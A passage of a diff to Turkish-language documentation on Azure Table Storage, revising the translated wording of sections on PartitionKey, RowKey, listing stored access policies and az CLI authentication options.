kontrolü ve güvenli, yönetilen depolama için paylaşılan erişim imzaları gibi özellikleri destekler; bu da geniş bir uygulama yelpazesi için uygundur. Tablo depolama için **yerleşik bir yedekleme mekanizması yoktur**. @@ -13,7 +13,7 @@ Tablo depolama için **yerleşik bir yedekleme mekanizması yoktur**. #### **PartitionKey** - **PartitionKey, varlıkları mantıksal bölümlere gruplar**. Aynı PartitionKey'e sahip varlıklar bir arada depolanır, bu da sorgu performansını ve ölçeklenebilirliği artırır. -- Örnek: Bir çalışan verisi depolayan tabloda, `PartitionKey` bir departmanı temsil edebilir, örneğin, `"HR"` veya `"IT"`. +- Örnek: Bir çalışan verilerini depolayan bir tabloda, `PartitionKey` bir departmanı temsil edebilir, örneğin, `"HR"` veya `"IT"`. #### **RowKey** @@ -76,7 +76,7 @@ Get-AzStorageTableStoredAccessPolicy -Table -Context (Get-AzStorageAccou {{#endtabs}} > [!NOTE] -> Varsayılan olarak `az` cli, bir hesap anahtarını imzalamak ve işlemi gerçekleştirmek için bir hesap anahtarı kullanacaktır. Entra ID anahtar ayrıcalıklarını kullanmak için `--auth-mode login` parametrelerini kullanın. +> Varsayılan olarak `az` cli, bir hesap anahtarını imzalamak ve işlemi gerçekleştirmek için bir hesap anahtarı kullanacaktır. Entra ID prensip ayrıcalıklarını kullanmak için `--auth-mode login` parametrelerini kullanın. > [!TIP] > Kullanılacak hesap anahtarını belirtmek için `--account-key` parametresini kullanın\